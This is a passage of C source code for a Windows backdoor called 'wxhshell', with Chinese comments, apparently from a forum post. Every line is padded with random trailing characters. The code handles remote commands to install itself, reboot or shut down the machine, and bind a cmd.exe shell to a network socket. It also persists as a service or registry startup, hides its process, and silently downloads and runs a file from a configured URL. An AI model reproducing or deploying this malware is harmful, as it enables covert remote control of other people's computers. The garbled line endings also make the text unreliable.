  } ;vUxO<cKFq  
  else { "w^Nu6  
pDhY%w#  
    switch(cmd[0]) { fIEw(k<*  
  A5+5J_)*  
  // 帮助 #L1>dHhat  
  case '?': { ZV#$Z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); V#H8d_V  
    break; 4f jC  
  } =jG?v'X  
  // 安装 CSH`pU  
  case 'i': { d"!yD/RD  
    if(Install()) |<2 *v-a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B<C&ay  
    else THr8o V5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {0fz9"|U  
    break; ~%KM3Vap  
    } E4i@|jE~)  
  // 卸载 mLULd}g/o  
  case 'r': { Rd vn)K  
    if(Uninstall()) OT%V{hD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rj&qh`  
    else ?to1rFrU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); edTMl;4  
    break; p}f-c  
    } c G*(C  
  // 显示 wxhshell 所在路径 .5^a;`-+  
  case 'p': { w=5   
    char svExeFile[MAX_PATH]; 1h{>[ 'L  
    strcpy(svExeFile,"\n\r"); B MY>a  
      strcat(svExeFile,ExeFile); drs-mt8  
        send(wsh,svExeFile,strlen(svExeFile),0); Y}K!`~n1S  
    break; |a>}9:g,=*  
    } psu OJ-  
  // 重启 6#O#T;f)  
  case 'b': { hRRkFz/0&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); lD-V9   
    if(Boot(REBOOT)) @kz!{g]Sn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #>" }q3RO  
    else { fqN75['n  
    closesocket(wsh); @~s~/[  
    ExitThread(0); <_>.!9q  
    } d&5c_6oW  
    break; Q%I#{+OT  
    } ?Q;kZmQl  
  // 关机 Q g$($   
  case 'd': { qP&byEs"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -.^3;-[  
    if(Boot(SHUTDOWN)) ,%[LwmET  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -}E)M}W  
    else { b~jIv:9T  
    closesocket(wsh); W"dU1]  
    ExitThread(0); 'YBi5_  
    } Xthtw*  
    break; B>sCP"/uV  
    } ]GQv4-y  
  // 获取shell QH4k!^  
  case 's': { {>wI8  
    CmdShell(wsh); 1;aF5~&  
    closesocket(wsh); V@$GC$;  
    ExitThread(0); ;]{{)dst  
    break; _2]O^$L  
  } '!Hhd![\=|  
  // 退出 Ze#Jhn@  
  case 'x': { h (qshbC}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); stX'yya  
    CloseIt(wsh); ~B<97x(X  
    break; C/CN '  
    }  dhZ Zb  
  // 离开 :G^"e  
  case 'q': { 'G<}U343=8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); T_uNF8Bh  
    closesocket(wsh); xy$vYDAFw  
    WSACleanup(); m{vT_ei  
    exit(1); ;0;3BH A  
    break; wu;7NatHx  
        } TP~( r  
  } xR *5q1j  
  } = vY]G5y  
RlU;v2Kch  
  // 提示信息 h0T< :X   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /z/hUa  
} y=-{Q  
  } uFGv%W  
w}IL 8L(D  
  return; {`+bW"9  
} +]A+!8%Z  
h~,x7]w6  
// shell模块句柄 Dm>T"4B`/  
int CmdShell(SOCKET sock) RcY6V_Qx  
{ <+<)xwOQ ]  
STARTUPINFO si; 5OPS&:  
ZeroMemory(&si,sizeof(si)); |}M~ kJ)  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; en Pzy:C  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; h |s*i  
PROCESS_INFORMATION ProcessInfo; QV`X?m  
char cmdline[]="cmd"; %T3j8fC{s  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); x%b]e a  
  return 0; H%*~l  
} F;cI0kP=>  
r$b:1C~  
// 自身启动模式 {KW&wsI  
int StartFromService(void) 2Som0T<2  
{ RH<@c^ S  
typedef struct O{;M6U8C\  
{ DH}s1mNMP  
  DWORD ExitStatus; w:m'uB%W  
  DWORD PebBaseAddress; &@mvw=d  
  DWORD AffinityMask; 0|],d?-h  
  DWORD BasePriority; {. s]\C  
  ULONG UniqueProcessId; G/x3wR  
  ULONG InheritedFromUniqueProcessId; W)6U6  
}   PROCESS_BASIC_INFORMATION; c28oLT1|D  
]3gYuz|  
PROCNTQSIP NtQueryInformationProcess; C!aX45eg  
"U/NMGMj  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; B| $\/xO  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8r7/IGFg  
[i,5>YIk  
  HANDLE             hProcess; !mw{T D  
  PROCESS_BASIC_INFORMATION pbi; Z&~k]R0y  
pHI%jHHJ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Wh#_9);  
  if(NULL == hInst ) return 0; `~w%Jf  
*X-~TC0 [  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); UiGUaBmF*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); TE*>a5C|  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); LM'*OtpDG  
!Szgph"ul  
  if (!NtQueryInformationProcess) return 0; y1@"H/nYJ  
Q%gY.n{=  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 'W<a54T?z  
  if(!hProcess) return 0; 18[?dV  
@&am!+z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; h=p-0 Mx .  
t<KEx^gb  
  CloseHandle(hProcess); F M@W>+  
(HTk;vbZm  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8KtF<`A)  
if(hProcess==NULL) return 0; |-cALQ  
PBP J/puW  
HMODULE hMod; (rY1O:*S  
char procName[255]; `9G$p|6  
unsigned long cbNeeded; R'1vjDuv  
H|(*$!~e  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); X*p:&=o  
Og%zf1)aZM  
  CloseHandle(hProcess); |Ls&~'ik  
-Z\UYt  
if(strstr(procName,"services")) return 1; // 以服务启动 \fQgiX  
eog,EP"a8Y  
  return 0; // 注册表启动 sDh6 Uk  
} 'nmYB:&!  
)Or:wFSMq  
// 主模块 #L+s%OJ`  
int StartWxhshell(LPSTR lpCmdLine) !513rNO  
{ cbg3bi  
  SOCKET wsl; 01SFOPuR%(  
BOOL val=TRUE; 'amex  
  int port=0; F4aJr%!\6S  
  struct sockaddr_in door; K\%"RgF@&  
P[|B WNei  
  if(wscfg.ws_autoins) Install(); !Vod0j">  
{ &JurZ  
port=atoi(lpCmdLine); ^PCL^]W  
HDfQ9__  
if(port<=0) port=wscfg.ws_port; zs]>XO~Jg  
\)6?u_(u  
  WSADATA data; ph$&f0A6Xc  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; fb S.  
rj`.hXO  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   4j=@}!TBt  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9#=IrlV4  
  door.sin_family = AF_INET; Se]t;7j  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); {<V|Gr  
  door.sin_port = htons(port); |GLn 9vw7S  
d ;Gm{g#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !C)>  
closesocket(wsl); eVbh$cIrZ  
return 1; eC1c`@C:  
} u[% J#S  
<a/ZOuBzZ  
  if(listen(wsl,2) == INVALID_SOCKET) { p44uozbK  
closesocket(wsl); ,C12SM*@  
return 1; cqU/Y_%l'  
} ]H@uuPT!  
  Wxhshell(wsl); }v|[h[cZ  
  WSACleanup(); Jv$2wH  
&^Q~G>A  
return 0; W SeRV?+T  
 9%hB   
} xVmUmftD  
(h(ZL9!  
// 以NT服务方式启动  x+j/v5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,Y/>*,J  
{ Ra,on&OP`*  
DWORD   status = 0; ^L2Zo'y [  
  DWORD   specificError = 0xfffffff; a/xCl :=8q  
4xC6#:8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; BqJrL/(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; G}OrpPP  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (6_/n&mF  
  serviceStatus.dwWin32ExitCode     = 0; FH@e:-*=  
  serviceStatus.dwServiceSpecificExitCode = 0; 'aSORVq^e[  
  serviceStatus.dwCheckPoint       = 0; tbt9V2U:"n  
  serviceStatus.dwWaitHint       = 0; ToCfLJ?{  
z:q'?{` I  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 91'^--N  
  if (hServiceStatusHandle==0) return; (Y?yGq/  
6I'V XdeN  
status = GetLastError(); R~ u7;Wv  
  if (status!=NO_ERROR) '3 ,JL!  
{ _!T$|,a  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 6 v#sq  
    serviceStatus.dwCheckPoint       = 0; R(#;yn  
    serviceStatus.dwWaitHint       = 0; HAOrwJFqU  
    serviceStatus.dwWin32ExitCode     = status; kUBHK"}K  
    serviceStatus.dwServiceSpecificExitCode = specificError; D.JVEKLkU  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); J~ rC  
    return; #nL0Hx7]E  
  } W8/6  
T</gWW  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; SVeU7Q6-  
  serviceStatus.dwCheckPoint       = 0; G&B}jj  
  serviceStatus.dwWaitHint       = 0; =|^W]2W$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ph.:~n>z  
} MZ[g|o!)v  
~w% +y  
// 处理NT服务事件,比如:启动、停止 O-m}P  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %=>xzP(z  
{ um4zLsd#v  
switch(fdwControl) MA QY/s~F  
{ */qc%!YV9  
case SERVICE_CONTROL_STOP: U/l ra&P  
  serviceStatus.dwWin32ExitCode = 0; B_1u<00kg  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; H`..)zL|  
  serviceStatus.dwCheckPoint   = 0; [aUT #  
  serviceStatus.dwWaitHint     = 0; ;qQzF  
  { jYx(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); alD|-{Bf  
  } *m/u3.\  
  return; ImW~Jy  
case SERVICE_CONTROL_PAUSE: `{[C4]Ew/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; clV/i&]Qa  
  break; %-1-J<<J q  
case SERVICE_CONTROL_CONTINUE: a];i4lt(c  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; f4^_FK&  
  break; 5Wjp_^!e  
case SERVICE_CONTROL_INTERROGATE: uv d>  
  break; 0{uX2h  
}; .;Yei6H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p =O1aM  
} G7xjW6^T  
` &DiM@Sm  
// 标准应用程序主函数 #J9XcD{1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) w N.Jyb  
{ 2?&ptN) `N  
%8}w!2D S  
// 获取操作系统版本 =i<(hgD  
OsIsNt=GetOsVer(); q|\Cp  
GetModuleFileName(NULL,ExeFile,MAX_PATH); W{2y*yqY  
w%na n=  
  // 从命令行安装 I#%-A  
  if(strpbrk(lpCmdLine,"iI")) Install(); cV,URUD  
KLB?GN?Pb  
  // 下载执行文件 ,]' !2?  
if(wscfg.ws_downexe) { BGOI  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /pEki g7M  
  WinExec(wscfg.ws_filenam,SW_HIDE); o^J&c_U\3'  
} H%V[% T4=  
7?@v}%w  
if(!OsIsNt) { CdjGYS  
// 如果时win9x,隐藏进程并且设置为注册表启动 %&NK|M+n  
HideProc(); 1Zzw|@#>o  
StartWxhshell(lpCmdLine); CQHlSV W  
} dDn:^)  
else \U8Vsx1tl  
  if(StartFromService()) -tJ*F!w6U  
  // 以服务方式启动 kdq55zTc<6  
  StartServiceCtrlDispatcher(DispatchTable); ~I74'  
else =<icHt6s  
  // 普通方式启动 S{06bLXU"  
  StartWxhshell(lpCmdLine); `MS=/xE  
.Dz /MSl  
return 0; YFY)Z7fK  
}
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只看该作者 1 发表于: 2006-10-10
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